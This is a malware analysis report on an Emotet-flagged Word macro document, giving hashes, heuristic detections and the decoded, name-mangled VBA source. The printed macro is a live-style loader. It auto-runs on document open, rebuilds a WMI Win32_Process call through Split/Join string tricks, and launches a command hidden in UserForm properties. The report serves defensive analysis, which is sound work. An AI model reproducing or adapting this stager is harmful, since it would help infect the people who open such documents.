Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ab6de0d9617ac9c3…

MALICIOUS

Office (OLE)

196.1 KB Created: 2019-12-18 14:57:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 5db373b10f921c5832c89df7bd9ded6a SHA-1: 8217e435f0f48350a9aca9fb2945ad8f6c15a31f SHA-256: ab6de0d9617ac9c33701b326e53b84e4bc552e288cf6aec04b2200dff2c73f98
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7465580-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7465580-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    Uxmnhzhs = Join(Split("23nNNgi3_7&&jjNN#" + "win23nNNgi3_7&&jjNN#mg23nNNgi3_7&&jjNN#mt23nNNgi3_7&&" + "jjNN#s:23nNNgi3_7&&jjNN#Wi23nNNgi3_7&&jjNN#n323" + "nNNgi3_7&&jjNN#2_23nNNgi3_7&&jjNN#", hb32bmmejdn), "") + Cspsufnz.Aunztkpm + "rocess"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Yhgplweq = VBA.CreateObject(JJKBSKJ + Uxmnhzhs)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10718 bytes
SHA-256: f053c2d825e87c0fa6eca97ea9fe652baf2c38270352bad0cf893d51dfe348aa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
358 of 516 identifiers look randomly generated (e.g. 'Einnykhbjkzte') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Cspsufnz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Aunztkpm, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Select Case Semhlyhungfb
         Case Qazimmpmm
   Uzkansjrikt = Sin(Xelsceughdwpp)
   Befruuryw = CStr(Nwkoxxhd)
   Awkixhnvo = 324
   Tdpefbxcffpyb = Sin(Vsgzhmoybhujx)
   Dhicusuk = CStr(Jbfblxirzlvpp)
   Ffowksaobc = 567
   Ywfbhndxliw = Sin(Mrxbinsero)
   Nhdjmdyeh = CStr(Tjnblfawizny)
   Mtoolhhr = 5645
End Select
For Gaoyfxkccxes = Gyqsfgajcg To Jpvcmbouvl
      While Rkolwdyu <> Inqpmotw
         Zunvgzkcd = Uhpausonzie * Atn(Hilxpzbyo) * (Xwsewsvr + Nfbprwejxz)
      Wend
Next
   Select Case Ehcvbvyvfllez
         Case Vptrgxlbqjn
   Bigyhjktz = Sin(Tisciseckm)
   Tfpztfmmomq = CStr(Emwqiuvhgxxei)
   Flyvevntrkrnn = 324
   Gsygefhmcsbfm = Sin(Vkmngdoupbrs)
   Qghliqffc = CStr(Xywcdpalzpgb)
   Vsyjfmmcglm = 567
   Ernpixujesrl = Sin(Hgrjehwnxhw)
   Fuskqkvw = CStr(Zyeffragxt)
   Wpbimxrtf = 5645
End Select
For Vpplhbbpun = Lzbrvxaydgay To Hyyfaggnjq
      While Sewdbrcxq <> Fvwfvhporh
         Crpnnlyqlbqe = Zeivgszn * Atn(Dbkfubyxuk) * (Meomrsyefs + Hkgvbgupzfjm)
      Wend
Next
   Select Case Oojbeagwicek
         Case Qlairjtk
   Dzziuydp = Sin(Kinuycdmwgxza)
   Ruwnhyeo = CStr(Eaybjypocriyg)
   Fhntfezpgdd = 324
   Ozgthvub = Sin(Mhhkystsnm)
   Qqvatflr = CStr(Rnadlorkp)
   Xblxtawn = 567
   Udnipyhcpqn = Sin(Qukvhebdx)
   Spjczeoe = CStr(Wjnuvpkiawn)
   Vdjfoijmwsmp = 5645
End Select
For Eckbjyrtkwb = Quwonhvnypz To Ecarbevafgqv
      While Cbsnedttsad <> Fbgmkbnto
         Vwqokogtjusl = Vwclkznc * Atn(Yztftptoizr) * (Eietkonmqz + Elidtftaaql)
      Wend
Next
Ypcskfcvzt
End Sub

Attribute VB_Name = "Yawrhmbhsbwi"
Attribute VB_Base = "0{7F8AEFF3-2154-43B0-967E-7377B9A77D23}{888694DE-11C7-47AE-B819-FD4F5BF00557}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Uoagpajvxmfo"
Function Ftcaxdmib()
   Select Case Mbrsopgly
         Case Ewpyfntwfacyj
   Clebwramhmwtt = Sin(Uxhtnzfx)
   Vxjekchfqmvgw = CStr(Ejhliuznd)
   Rqzxwocfb = 324
   Hxjpncwgnax = Sin(Pxltcvjgyf)
   Ftpgerhmnbk = CStr(Gxrxretdqhzc)
   Glkjrxxi = 567
   Zjipzvonj = Sin(Xrihbsnolqevo)
   Dssevxnl = CStr(Vddvtlsjg)
   Bbpfktypvouo = 5645
End Select
For Vufeykflzgpj = Fllhshbqdzke To Ctbofcyrmeiyo
      While Jpbzgkjc <> Rrergtuujjgfa
         Toygzttkotj = Jlsqosnl * Atn(Glneegwepxjnw) * (Ndygqyxjqkyqp + Qezosvloo)
      Wend
Next
Wgcuxwrgcn = Cspsufnz.Aunztkpm
   Select Case Ihntanmjqteh
         Case Bqswvrvdplpm
   Byzkpmhm = Sin(Eprhokxxu)
   Hvjkazerbd = CStr(Misuurpjo)
   Rfzoofosrq = 324
   Dpapncvjcqif = Sin(Qdfefucjrfakp)
   Lwruooetcc = CStr(Vibxupsplmmk)
   Tyvocmjwrtq = 567
   Hmjccyagbq = Sin(Uxwaykhxx)
   Ynzukzrig = CStr(Kcckklwks)
   Iipmvsijomm = 5645
End Select
For Oceqhjhbxo = Yoavancykfre To Yzxutyxr
      While Ggciamltc <> Einnykhbjkzte
         Ecvowhtsp = Txxtycegtr * Atn(Unpplxgmx) * (Ijxnwplqysnq + Plxpyrqu)
      Wend
Next
Yinsimowtqe = Wgcuxwrgcn + Yawrhmbhsbwi.Cmhrumweun + Yawrhmbhsbwi.Oevfeynstu + Yawrhmbhsbwi.Fybkwkiqtokz
   Select Case Fvdidzzqa
         Case Rvneidjntrl
   Jcdljgip = Sin(Jockacfwj)
   Yvoxnbreznue = CStr(Awnguqzbqdpgs)
   Nubpflhonv = 324
   Kprpjylafsp = Sin(Vwelihiitm)
   Pynsizkpzomz = CStr(Hgjfufmfj)
   Dfovirdy = 567
   Ayhxsezlgkfw = Sin(Czorngkoyqftw)
   Xibrlhibica = CStr(Cexgdpticlkq)
   Zrsyigujbe = 5645
End Select
For Stxgpntpmts = Gzivwqbbvjk To Sgatdtbm
      While Lwwxwuzf <> Ibgloendpwjn
         Vnpsqzxdjz = Atfgwdmxuqaof * Atn(Ywaqygkcj) * (Pyverhope + Jzgasrenbnruz)
      Wend
Next
Pssdlvjcauhfr = Yinsimowtqe + Yawrhmbhsbwi.Gqwnkdklvy + Yawrhmbhsbwi.Lrhfztjuadepv.Factoid
   Select Case Bbubvvebznut
         Case Imcekioz
   Raampgrgc = Sin(Xcnmlnpuvwlzy)
   Pfmkdcjok = CStr(Sltvnqhcljor)
   Zfwjfacokrmt = 324
   Wondrpvdbzivr = Sin(Vannpdwmef)
   Dabjtxjgwvla = CStr(Vdwakihboqzgd)
   Bjxwwsdzqpxio = 567
   Omephsqdvmmbl = Sin(Ntphumoenh)
   Flmaslpcm = CStr(Mglgcjkqroh)
   Shvnairi = 5645
End Select
For Lriltqwixmf = Jglucqbq To Jhkqbbekfx
      While Otyqaufj <> Qglhooornymhz
         Zvgsczfijr = Mqgkovlrdeumq * Atn(Jtnhuthazyr) * (Lybpxrbbgnylo + Vatcglvow)
      Wend
Next
Ftcaxdmib = Jbzponadzjtzv + Pssdlvjcauhfr + Jbzponadzjtzv
   Select Case Bjuoxbyp
         Case Saqurcaqcuvo
   Xodsxlxbxhf = Sin(Msvzkgrfa)
   Xpeizsgmpf = CStr(Xgsxurcjos)
   Yhvlhdjwbtu = 324
   Pbfaskbvj = Sin(Rjwoxevftqks)
   Flwuhelkpfqx = CStr(Htsojbtyguywy)
   Qfiifnyfact = 567
   Tryavzxzx = Sin(Vbgfbwkgvw)
   Hpdijorlqtlep = CStr(Bysotjzndgtde)
   Mlurqlsqnlf = 5645
End Select
For Bpcpfxjhchfq = Abpkmtdg To Xfnihfcnzg
      While Edyhifkdobj <> Pxatppuprszk
         Xfsqaqmwmmflx = Wwweqshcujrry * Atn(Ywhfnyvkis) * (Lonerxrvwdgk + Cyhjyojbnje)
      Wend
Next
End Function
Function Ypcskfcvzt()
   Select Case Lrgborbzeg
         Case Bpwjzuviky
   Lxyiablx = Sin(Rnsdzfchp)
   Qfoefpnwqymfe = CStr(Styduuywyir)
   Pfciweurkdul = 324
   Vgeiomim = Sin(Mvcsjqvots)
   Vdjzwyiper = CStr(Cpuadildvtwa)
   Itigrfuk = 567
   Zoqjeuev = Sin(Ptwvlkgdpb)
   Yuqogxzqzr = CStr(Bosbyboaaslp)
   Vgyqujtqqvt = 5645
End Select
For Hvjjyodtwsf = Mgifjartbsr To Vzlyxiinhfrin
      While Tzotlgwmikmt <> Fcsbbtdiyvxw
         Bqwvzwace = Qyncnlojubcyh * Atn(Qkatwpfrk) * (Qubtdyuekup + Kimgeysojq)
      Wend
Next
hb32bmmejdn = "23nNNgi3_7&&jjNN#"
Uxmnhzhs = Join(Split("23nNNgi3_7&&jjNN#" + "win23nNNgi3_7&&jjNN#mg23nNNgi3_7&&jjNN#mt23nNNgi3_7&&" + "jjNN#s:23nNNgi3_7&&jjNN#Wi23nNNgi3_7&&jjNN#n323" + "nNNgi3_7&&jjNN#2_23nNNgi3_7&&jjNN#", hb32bmmejdn), "") + Cspsufnz.Aunztkpm + "rocess"
   Select Case Axthrkoyaqtp
         Case Rorxhnbws
   Cefhbraijm = Sin(Nyckqqvchico)
   Qcprdejypf = CStr(Yztgavjxeyf)
   Fxgbucqvrb = 324
   Ridhpiwbzsvj = Sin(Hfpfrwngx)
   Wvdsvgxv = CStr(Mgpoqjamn)
   Amvlfmkbfkkwe = 567
   Sjdlxnmzuya = Sin(Mmukegvi)
   Punuixbjk = CStr(Qricejon)
   Fvjotparyx = 5645
End Select
For Cnrktebspp = Vvmhawhuhujze To Hbrlxwgovlt
      While Mhxqzksyds <> Pkcidsfn
         Rxdxcpgqwgfx = Wtzunqdiajhld * Atn(Todutqambidr) * (Kwscdljslzypj + Pqlzydsbdpjv)
      Wend
Next
Set Yhgplweq = VBA.CreateObject(JJKBSKJ + Uxmnhzhs)
   Select Case Khmyobwgbr
         Case Ifyrwbiqzk
   Kxnklgst = Sin(Jjvegwuu)
   Gtxxoeiiptm = CStr(Lnromvuze)
   Vpwsvlveo = 324
   Qzpvgyjemoif = Sin(Phiybqcnpbz)
   Mdxhmqrxryq = CStr(Pzutmjmcgengn)
   Cjnwyixaogwo = 567
   Xirjfbctwppv = Sin(Zkbyuyuhk)
   Nrzfmpvujiv = CStr(Iupjnygcuradf)
   Txqyxsrjcnjz = 5645
End Select
For Dxepeqzj = Lnotaybhrbam To Xeqlmvezmbquw
      While Hukmwmjd <> Elchsbrehs
         Owppmbncgcofk = Awknbsbijbs * Atn(Zppvchgn) * (Zipvcbxwx + Riwexhmogo)
      Wend
Next
Rwsrzdfkqoil = Uxmnhzhs + Yawrhmbhsbwi.Ajfdopzg.ControlTipText + Yawrhmbhsbwi.Iemefbqilo.ControlTipText
   Select Case Glaxgvohqrqf
         Case Igbeyctctsdg
   Fvdgbpoxybsz = Sin(Lhlbktozdef)
   Eshuzwscuojed = CStr(Hzmzhgqmgb)
   Hgszbrqjf = 324
   Scclrtcxg = Sin(Rdsfcrng)
   Drlvcoinmwgr = CStr(Wevzseepseoo)
   Oywzpnolrpoet = 567
   Qwalyixwonwp = Sin(Hgnimyoahbefl)
   Kokuvchod = CStr(Rciltyamjia)
   Lfppzgsxj = 5645
End Select
For Zluswzsk = Gmsvhfeyexkrd To Mrpwqphlfmi
      While Qjpqxietx <> Bozfsthhkcjh
         Jjzaniybwhu = Uufvpxxvcqct * Atn(Atghbmdoz) * (Klsarrlkamnf + Kfsgtwgbdyhq)
      Wend
Next
Qnjcdkdyepgdu = Rwsrzdfkqoil + Cspsufnz.Aunztkpm
   Select Case Rbfgcmpqs
         Case Onfdnyoivkgh
   Doadizcwzhs = Sin(Txfkbqsvy)
   Fyvrpwktor = CStr(Omjqrrnylrrvk)
   Frytfroy = 324
   Lhdwzipu = Sin(Xrzbekzanga)
   Wfcpxtgznzmgk = CStr(Mjcakzcn)
   Ovsoleeehgqxs = 567
   Trjsnuuz = Sin(Dezwatsjsjx)
   Cvibcdlork = CStr(Htuecuwvaiz)
   Hnynzidfg = 5645
End Select
For Etsvlzmtafsay = Obtkuvdsuqn To Cvkblxajcajb
      While Ecpnzijuc <> Ncbaxfyxtreuq
         Eglakixo = Fdntiitygyv * Atn(Fvkecpzhyy) * (Dibcnpnc + Bldljkwkqfgx)
      Wend
Next
Set Ypcskfcvzt = CreateObject(Qnjcdkdyepgdu)
   Select Case Otseractg
         Case Fgtdpzrpapuxn
   Xzgqqmtfabbtk = Sin(Udlagpgsxiqua)
   Vetvddnqvilb = CStr(Oggtcurm)
   Gqgiizss = 324
   Gwzosuhnq = Sin(Nmrjbkbyucir)
   Mwehvqslmur = CStr(Ahmewvisdpyh)
   Uveyeiagxdfu = 567
   Cawrtraq = Sin(Lwhvihgagyyqi)
   Yrukjyctgqd = CStr(Nxrdngmib)
   Qwfncdlrzeuag = 5645
End Select
For Zjcbefnznjhvc = Exmwtntorc To Ubswkwphcf
      While Scxseuhi <> Axnjmkgukya
         Xumxznuhzxme = Bkxvvvfbvjb * Atn(Biubzyjzx) * (Hvwhaaaevvfkn + Ynwzdvqis)
      Wend
Next
Ypcskfcvzt.XSize = False
   Select Case Zghstcpoggy
         Case Rcrvnotreyqoa
   Tcudmage = Sin(Kwgyojghwgx)
   Tfqzuirescmue = CStr(Vwkxmicsmsqo)
   Dtfgdayva = 324
   Nirttdkxlmavz = Sin(Qmegethxpih)
   Lwawybyz = CStr(Sofryudyfenkm)
   Hcglclmpklpl = 567
   Ycqfnlrzcjclk = Sin(Mbkjcrysoj)
   Zvfijabhc = CStr(Yebhawiqb)
   Ykfbaezkb = 5645
End Select
For Fsewbtlj = Ovlebjyvf To Wuxvchzwhr
      While Xzjdevpfsp <> Otxzubovdp
         Gbymlmnqsmofs = Aqmthwngjkab * Atn(Afiqlwdx) * (Fchrcergohoe + Cbtupbklgnrg)
      Wend
Next
Ypcskfcvzt.YSize = False
   Select Case Svnveefbdzip
         Case Mnpajftxrzv
   Nkyzqyvq = Sin(Asdaoqgznbxtd)
   Irxudozoa = CStr(Farrianrpige)
   Lzhoftgpt = 324
   Xwwhadciw = Sin(Iwsxgltxb)
   Msoszvykphjl = CStr(Rjoedwixe)
   Vinuvwgsek = 567
   Iehjmuyykhsp = Sin(Syqkpnwgd)
   Qtlcsgunqf = CStr(Mwcgsbopysqd)
   Uvqwbavz = 5645
End Select
For Nwrbyblz = Dnmgefpw To Dhuqlzwueaana
      While Wjmrwhrmeygi <> Vkymyxgcbpzf
         Qcqnloiwdfqp = Prermciqcbbd * Atn(Iwsqqwvcitwv) * (Htvjmlmjkitom + Pmiboogn)
      Wend
Next
Do While Yhgplweq.Create(UJNDB & Ftcaxdmib, Locqndfgvkgzr, Ypcskfcvzt, Qjmgepcy)
Loop
   Select Case Ljmwsovfc
         Case Sjpjtgfzehn
   Xnzrhhhpwxz = Sin(Kehccbqsbeso)
   Phexxjyzfpe = CStr(Lzwlpcawbrbe)
   Vvjgcpsshs = 324
   Xukysyeg = Sin(Fsdmssnqcslz)
   Wicjctrd = CStr(Eglcycaffcp)
   Qxzerphr = 567
   Gcjwvekbbgph = Sin(Lsasftaof)
   Lcoaodwfof = CStr(Gebubojojlt)
   Pplfrswfkjbva = 5645
End Select
For Tbxbldto = Yzvqcajvbzoka To Djwuazabgu
      While Rhvvaihtsao <> Raznojbbph
         Uczxypwvnsnfd = Sctcuolj * Atn(Nrkglcab) * (Fiwulsmvz + Jbiiyvfzjita)
      Wend
Next
End Function

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